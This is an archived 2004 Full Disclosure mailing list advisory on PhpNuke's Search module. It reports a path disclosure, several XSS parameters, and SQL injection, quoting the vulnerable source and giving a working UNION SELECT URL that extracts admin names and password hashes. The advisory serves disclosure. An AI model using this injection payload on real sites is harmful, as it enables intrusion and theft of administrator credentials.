Home page logo
/

fulldisclosure logo Full Disclosure mailing list archives

[waraxe-2004-SA#036 - Multiple security holes in PhpNuke - part 3]
From: Janek Vind <come2waraxe () yahoo com>
Date: Sun, 18 Jul 2004 06:52:09 -0700 (PDT)



{================================================================================}
{                              [waraxe-2004-SA#036]   
                          }
{================================================================================}
{                                                     
                          }
{                 [ Multiple security holes in PhpNuke
- part 3 ]                }
{                                                     
                          }
{================================================================================}
                                                      
                                                      
                  
Author: Janek Vind "waraxe"
Date: 18. July 2004
Location: Estonia, Tartu
Web: http://www.waraxe.us/index.php?modname=sa&id=36


Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Php-Nuke is a popular freeware content management
system, written in php by
Francisco Burzi. This CMS (Content Management System)
is used on many thousands
websites, because it's freeware, easy to install and
has broad set of features.

Homepage: http://phpnuke.org



Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Finally i got looked through all the search module
code and as expected, there are
many (in)security related findings. Let's begin ...



A - Full path disclosure
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

A1 - full path disclosure in
"/modules/Search/index.php":

Go to search page:

http://localhost/nuke73/modules.php?name=Search

and enter to search field "**" (without double
quotes).
Or enter plus sign "+".

As result there will be standard php error messages,
revealing full path:

Warning: eregi(): REG_BADRPT: in
D:\apache_wwwroot\nuke73\modules\Search\index.php on
line 228

Warning: eregi(): REG_BADRPT: in
D:\apache_wwwroot\nuke73\modules\Search\index.php on
line 232

Warning: eregi(): REG_BADRPT: in
D:\apache_wwwroot\nuke73\modules\Search\index.php on
line 235


B - Cross-site scripting aka XSS
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

B1 - xss in "/modules/Search/index.php" through user
submitted variable "$sid":

http://localhost/nuke73/modules.php?name=Search&sid=[xss
code here]



B2 - xss in "/modules/Search/index.php" through user
submitted variable "$max":

http://localhost/nuke73/modules.php?name=Search&query=*&max=[xss
code here]

remark: search results count must be >= 9.



B3 - xss in "/modules/Search/index.php" through
uninitialized variables "$sel1" - "sel5":

http://localhost/nuke73/modules.php?name=Search&query=waraxe&sel1=[xss
code here]&type=comments



B4 - xss in "/modules/Search/index.php" through
uninitialized variable "$match":

http://localhost/nuke73/modules.php?name=Search&a=6&query=*&match=[xss
code here]



B5 - xss in "/modules/Search/index.php" through
uninitialized variables "$mod1" - "$mod3":

http://www.nukecops.com/modules.php?name=Search&query=*&mod3=[xss
code here]

Remark - specific module must be disabled in order to
xss triggering!




C - Sql Injection
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

C1 - noncritical sql injection case in
"/modules/Search/index.php":

Reason is unsanitized user-submitted variable "$min",
which gets delievered directly
to sql request, afrer "ORDER BY / LIMIT" keywords. In
mysql version 4.0 its not useful for exploiting,
but in case of new version 4.1, where subselects
functionality will be available, there will be
possibility to use blind sql injection methods. So -
this security bug must be fixed ASAP.

C2 - critical sql injection case in
"/modules/Search/index.php":

Yeah, yeah, yeah - AGAIIIIIN! Fatal sql injection...

"Use the Source, Luke" --> let's look @ original code

----------------[ original source ]-----------------

$query = addslashes($query);

if ($type=="stories" OR !$type)
{
        if ($category > 0)
        {
                $categ = "AND catid='$category' ";
        }
        elseif ($category == 0)
        {
                $categ = "";
        }

        $q = "select s.sid, s.aid, s.informant, s.title,
s.time, s.hometext, s.bodytext,
        a.url, s.comments, s.topic from ".$prefix."_stories
s, ".$prefix."_authors a 
                where s.aid=a.aid $queryalang $categ";
        if (isset($query)) $q .= "AND (s.title LIKE
'%$query%' OR s.hometext LIKE '%$query%'
                OR s.bodytext LIKE '%$query%' OR s.notes LIKE
'%$query%') ";
        if ($author != "") $q .= "AND s.aid='$author' ";
        if ($topic != "") $q .= "AND s.topic='$topic' ";
        if ($days != "" && $days!=0) $q .= "AND
TO_DAYS(NOW()) - TO_DAYS(time) <= '$days' ";
        $q .= " ORDER BY s.time DESC LIMIT $min,$offset";
        $t = $topic;

        $result5 = $db->sql_query($q);

----------------[/original source ]-----------------

What we can see here, is that construction "if/elseif"
misses ending part "/else".
And if we deliver there "$category" as < 0, then
variable "$categ" will be uninitialized.

So - let's get dirty ;)

----------------[ real life exploit ]---------------

http://localhost/nuke73/modules.php?name=Search&type=stories&query=f00bar&category=-1
&categ=%20and%201=2%20UNION%20SELECT%200,0,aid,pwd,0,0,0,0,0,0%20from%20nuke_authors/*

----------------[/real life exploit ]---------------

And you can see some confidential information about
admins...

See ya next time and have a nice day!


How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


Fixing tutorials, discussion, help - look at
http://www.waraxe.us/forums.html

See ya there!


Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to Raido Kerna and to
http://www.gamecheaters.us staff!
Special greets to icenix and slimjim100!
Tervitused - Heintz ja Maku!


Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    come2waraxe () yahoo com
    Janek Vind "waraxe"

    Homepage: http://www.waraxe.us/

---------------------------------- [ EOF ]
------------------------------------



                
__________________________________
Do you Yahoo!?
Vote for the stars of Yahoo!'s next ad campaign!
http://advision.webevents.yahoo.com/yahoo/votelifeengine/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


  By Date           By Thread  

Current thread:
  • [waraxe-2004-SA#036 - Multiple security holes in PhpNuke - part 3] Janek Vind (Jul 18)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]